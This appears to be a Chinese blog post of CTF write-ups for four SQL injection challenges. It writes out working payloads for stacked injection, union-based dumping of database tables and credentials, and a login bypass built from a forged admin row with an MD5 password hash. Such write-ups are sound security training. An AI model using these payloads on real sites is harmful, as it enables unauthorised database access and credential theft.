• SQL题


    [极客大挑战 2019]EasySQL

    进行简单的尝试,就知道是单引号的字符型注入

     万能密码进行一个简单的尝试

    结果就出来了

    还是要了解一下原理

    输入的是1',形成的sql语句是错误的
    SELECT*FROM table_name WHERE username='1''and password='123';
    第一个单引号和第二个单引号形成了新的闭合,剩余第三个单引号,组成的sql语句不正确,于是语句报错,页面就会出现错误。

    [SUCTF 2019]EasySQL

    当我们输入非零数字的时候,页面上有回显,用0也是什么都没有,字母也是什么都没有

    我们就直接尝试一下命令

    1;show databases;

    1;show tables;  发现一个表为flag

     猜答案应该就会在flag表中,那么就可以查一下看看

    1;show columns from Flag   (1;show columns from用来查询表中列名称)

    没有回显,应该是flag也是被过滤了,想了一下,其实在查询的数据库的时候就应该要发现是堆叠注入,自己对堆叠注入还是不了解,刚刚没有看出来。

    修改sql_mode的值,将||视为字符串的连接操作符而或非运算符,即set sql_mode=PIPES_AS_CONCAT;

    也就是堆叠注入下可以改变sql的||符号的作用,就让||实现连接的功能

    || 变成类似 concat() 函数

    看看后台的查询语句

    $sql = "select ".$post['query']."||flag from Flag";

    区别

    在MySQL中,操作符||表示“或”逻辑     也就是只要有一个为真就可以为真了。

    mssql中||表示连接操作符,不表示或的逻辑

    union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于 union或者 union all 执行的语句类型是有限的,可以用来执行查询语句,例如查库,表之类的,而堆叠注入可以执行的是任意的语句,将多条语句进行执行,;代表一条语句的结束。

    payload

    1;set sql_mode=pipes_as_concat;select 1

    非预期

    尝试之后就会发现没有过滤*

    payload: *,1
    查询flag
    拼接之后的语句为
    select *,1 || flag from flag

    先查找全部,再去查找1

    最后也是可以拿到结果的

    [极客大挑战 2019]LoveSQL

    尝试一下万能密码

     看看回显位置

    1' union select 1,2,3#

    发现是在2和3 回显

    字段

    1'order by 4#

    只有三个字段

    数据库

    1' union select 1,database(),version()#

    1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

     

     发现有二张表

    geekuser
    l0ve1ysq1

    先看第一个

    1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#

    下一个也是一样的

    也是先读取第一张表的内容

    1' union select 1,2,group_concat(id,username,password) from geekuser#

     

     下一张表的内容

    1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

     

     发现这一张表的内容有许多,在后面就会发现答案。

    [GXYCTF2019]BabySQli

     看看源代码

     base32后base64

    base32 只有大写字母和数字数字组成,或者后面有三个等号。
    base64 只有大写字母和数字,小写字母组成,后面一般是两个等号

     到这里就暂时没有思路了

    先看看列数

    1' order by 1,2,3#

    是不是被过滤了,大写看看

     就知道有三列,并且还过滤了order

    回显位置

    1' union select 1,2,3#

     利用sqli的特性:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。

    eg

    select * from user where username = 'wxs' union select 1,'admin','123456';

     临时创建了一个admin用户,密码是123456

    那就可以随便构建一个密码

    123456

    MD5  e10adc3949ba59abbe56e057f20f883e

    payload

    1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456

     

     数据库会将123456的MD5值与里面的相比较,如果匹配成功,就会返回flag

  • 相关阅读:
    HCIP笔记(12)
    列表页面新增 字段查询 ,点击查询后,前端页面和后端控制台 出现红色报错信息,查询数据失败。
    #循循渐进学51单片机#变量进阶与点阵LED#not.6
    记一次 .NET 某企业 ERP网站系统 崩溃分析
    c++多线程互斥量(mute)与原子变量(atomic)
    1100亩烟台深耕水稻 国稻种芯·中国水稻节:山东盐碱地水稻
    快学会这个技能-.NET API拦截技法
    学习ASP.NET Core Blazor编程系列十——路由(中)
    Idea 2023.2.5配置(插件、Maven等)
    【Python】从0开始的Django基础
  • 原文地址:https://blog.csdn.net/qq_75005708/article/details/134318861